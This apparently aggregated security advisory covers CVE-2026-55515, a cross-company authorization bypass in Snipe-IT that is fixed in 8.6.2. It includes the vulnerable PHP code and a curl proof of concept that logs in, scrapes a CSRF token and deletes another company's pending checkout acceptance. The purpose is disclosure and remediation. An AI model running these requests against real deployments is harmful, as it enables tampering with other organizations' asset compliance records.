CVE-2026-55515: Snipe-IT Cross-company Deletion Of Pending Checkout Vulnerability

MODERATE
Advisory Identifier: GHSA-35cr-9hqq-p2mg
CVSS 5.0
CWE-639
Published
Advisory Summary

CVE-2026-55515 is a MODERATE (CVSS 5.0) cross-company deletion of pending checkout vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Snipe-IT libraries in the Packagist ecosystem. The issue involves cross-company deletion of pending checkout acceptances via unscoped report endpoint. Remediation is available by upgrading affected packages to version 8.6.2.

CVE-2026-55515 at a Glance

CVE Identifier CVE-2026-55515
GHSA Identifier GHSA-35cr-9hqq-p2mg
Severity MODERATE
CVSS v3.1 Base Score 5.0
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Snipe-IT
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-55515

To remediate this vulnerability, upgrade all affected Snipe-IT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

snipe/snipe-it fixed: 8.6.2
Upgrade snipe/snipe-it to 8.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for snipe/snipe-it

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55515, inspect your project dependencies for Snipe-IT:

inspect dependencies for snipe/snipe-it

Analyze the terminal output to locate any version of Snipe-IT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Snipe-IT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact A user with the `reports.view` permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company. The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset. ### Preconditions The attacker needs: - A valid authenticated web session. - `reports.view` permission. - Knowledge or guessability of a pending `checkout_acceptances.id`. The attacker does not need access to the asset/company associated with the target acceptance. ### Root cause The delete action authorizes only report access, then deletes a pending acceptance by global ID: ```php $this->authorize('reports.view'); $acceptance = CheckoutAcceptance::pending()->find($acceptanceId); $acceptance->delete(); ``` The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company. ### Proof of concept #### Target acceptance belongs to Company B The target pending acceptance was identified as id=1. ```sql snipe_sql "SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id FROM checkout_acceptances ca JOIN assets a ON a.id = ca.checkoutable_id WHERE ca.id=$ACCEPTANCE_B_ID;" ``` Observed result: ```json { "id": 1, "checkoutable_id": 2, "deleted_at": null, "asset_tag": "LAB-B-42445107", "company_id": 3 } ``` This shows the pending acceptance belongs to asset 2, which is in Company B. #### Attacker user belongs to Company A The attacker account was reporter_a, assigned to Company A with only report viewing permission: ```json { "id": 3, "username": "reporter_a", "company_id": 2, "permissions": { "reports.view": 1 } } ``` Login as Company A reports user ```curl curl -sS -c /tmp/snipe_cookie.txt "$BASE/login" -o /tmp/snipe_login.html LOGIN_CSRF=$(grep -oP 'name="_token" value="\K[^"]+' /tmp/snipe_login.html) curl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \ -X POST "$BASE/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "_token=$LOGIN_CSRF" \ --data-urlencode "username=reporter_a" \ --data-urlencode "password=password" ``` **Observed response:** ```HTTP/1.1 302 Found Location: http://localhost:8000/ ``` Fetch report CSRF token ```curl curl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \ "$BASE/reports/unaccepted_assets" \ -o /tmp/unaccepted.html \ -w "\nHTTP=%{http_code} URL=%{url_effective}\n" CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html) echo "CSRF=$CSRF" ``` **Observed result:** ``` HTTP=200 URL=http://localhost:8000/reports/unaccepted_assets CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU ``` **Delete Company B acceptance as Company A reporter** ```curl curl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \ -X POST "$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "_token=$CSRF" \ --data-urlencode "_method=DELETE" ``` **Observed response:** ``` HTTP/1.1 302 Found Location: http://localhost:8000/reports/unaccepted_assets ``` **Final state** ```sql snipe_sql "SELECT id, checkoutable_id, deleted_at FROM checkout_acceptances WHERE id=$ACCEPTANCE_B_ID;" ``` **Observed result:** ```json { "id": 1, "checkoutable_id": 2, "deleted_at": "2026-06-12 04:30:00" } ``` This confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset. ### Security impact This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can: - Delete pending acceptance records for assets they cannot access. - Suppress evidence that a user has not accepted custody or terms. - Interfere with asset handoff/compliance workflows. - Tamper with another company’s pending acceptance queue. This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.

CVE-2026-55515 Affected Snipe-IT Versions

1 component(s)
Fixed Versions:
8.6.2
Product / Package Ecosystem Affected Versions Fixed Version
snipe/snipe-it
Packagist
< 8.6.2
8.6.2

References

Frequently Asked Questions

What is CVE-2026-55515?
CVE-2026-55515 is a security vulnerability in Snipe-IT involving Cross-company deletion of pending checkout acceptances via unscoped report endpoint under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Snipe-IT versions are affected?
Affected versions include releases prior to 8.6.2 across affected packages: snipe/snipe-it.
What version fixes CVE-2026-55515?
Upgrading to 8.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is snipe/snipe-it affected?
Yes, snipe/snipe-it is affected in releases prior to 8.6.2. Upgrade your dependency to 8.6.2 or later.
What is the CVSS score of CVE-2026-55515?
CVE-2026-55515 has a CVSS v3.1 base score of 5.0 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N.
What CWE is associated with CVE-2026-55515?
CVE-2026-55515 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Packagist dependencies for CVE-2026-55515?
Run the dependency tree command: 'inspect dependencies for snipe/snipe-it'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35cr-9hqq-p2mg",
  "modified" : "2026-08-28T18:04:57Z",
  "published" : "2026-08-28T18:04:57Z",
  "aliases" : [ "CVE-2026-55515" ],
  "summary" : "Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint",
  "details" : "### Impact\nA user with the `reports.view` permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.\n\nThe report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.\n\n\n### Preconditions\nThe attacker needs:\n- A valid authenticated web session.\n- `reports.view` permission.\n- Knowledge or guessability of a pending `checkout_acceptances.id`.\n\nThe attacker does not need access to the asset/company associated with the target acceptance.\n\n### Root cause\nThe delete action authorizes only report access, then deletes a pending acceptance by global ID:\n\n```php\n\n$this->authorize('reports.view');\n\n$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);\n\n$acceptance->delete();\n```\n\nThe code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc.\nIn multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.\n\n### Proof of concept\n#### Target acceptance belongs to Company B\n\nThe target pending acceptance was identified as id=1.\n\n```sql\nsnipe_sql \"SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id\nFROM checkout_acceptances ca\nJOIN assets a ON a.id = ca.checkoutable_id\nWHERE ca.id=$ACCEPTANCE_B_ID;\"\n```\nObserved result:\n\n```json\n{\n    \"id\": 1,\n    \"checkoutable_id\": 2,\n    \"deleted_at\": null,\n    \"asset_tag\": \"LAB-B-42445107\",\n    \"company_id\": 3\n}\n```\n\nThis shows the pending acceptance belongs to asset 2, which is in Company B.\n\n#### Attacker user belongs to Company A\nThe attacker account was reporter_a, assigned to Company A with only report viewing permission:\n\n```json\n{\n    \"id\": 3,\n    \"username\": \"reporter_a\",\n    \"company_id\": 2,\n    \"permissions\": {\n        \"reports.view\": 1\n    }\n}\n```\n\nLogin as Company A reports user\n\n```curl\ncurl -sS -c /tmp/snipe_cookie.txt \"$BASE/login\" -o /tmp/snipe_login.html\n\nLOGIN_CSRF=$(grep -oP 'name=\"_token\" value=\"\\K[^\"]+' /tmp/snipe_login.html)\n\ncurl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  -X POST \"$BASE/login\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"_token=$LOGIN_CSRF\" \\\n  --data-urlencode \"username=reporter_a\" \\\n  --data-urlencode \"password=password\"\n```\n\n**Observed response:**\n\n```HTTP/1.1 302 Found\nLocation: http://localhost:8000/\n```\n\nFetch report CSRF token\n\n```curl\ncurl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  \"$BASE/reports/unaccepted_assets\" \\\n  -o /tmp/unaccepted.html \\\n  -w \"\\nHTTP=%{http_code} URL=%{url_effective}\\n\"\n\n\nCSRF=$(grep -oP 'name=\"csrf-token\" content=\"\\K[^\"]+' /tmp/unaccepted.html)\n\necho \"CSRF=$CSRF\"\n```\n\n**Observed result:**\n\n```\nHTTP=200 URL=http://localhost:8000/reports/unaccepted_assets\nCSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU\n```\n\n**Delete Company B acceptance as Company A reporter**\n\n```curl\ncurl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  -X POST \"$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"_token=$CSRF\" \\\n  --data-urlencode \"_method=DELETE\"\n```\n\n**Observed response:**\n```\nHTTP/1.1 302 Found\nLocation: http://localhost:8000/reports/unaccepted_assets\n```\n\n**Final state**\n```sql \nsnipe_sql \"SELECT id, checkoutable_id, deleted_at\nFROM checkout_acceptances\nWHERE id=$ACCEPTANCE_B_ID;\"\n```\n\n**Observed result:**\n\n```json\n{\n    \"id\": 1,\n    \"checkoutable_id\": 2,\n    \"deleted_at\": \"2026-06-12 04:30:00\"\n}\n```\n\nThis confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.\n\n### Security impact\nThis is a cross-company authorization bypass affecting checkout acceptance integrity.\nAn attacker with report access can:\n\n- Delete pending acceptance records for assets they cannot access.\n- Suppress evidence that a user has not accepted custody or terms.\n- Interfere with asset handoff/compliance workflows.\n- Tamper with another company’s pending acceptance queue.\n\nThis is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "snipe/snipe-it"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/security/advisories/GHSA-35cr-9hqq-p2mg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55515"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/commit/802067f3987a4b65bfc2efe60e22e07c24e01e6a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grokability/snipe-it"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:04:57Z",
    "nvd_published_at" : "2026-07-10T20:16:47Z"
  }
}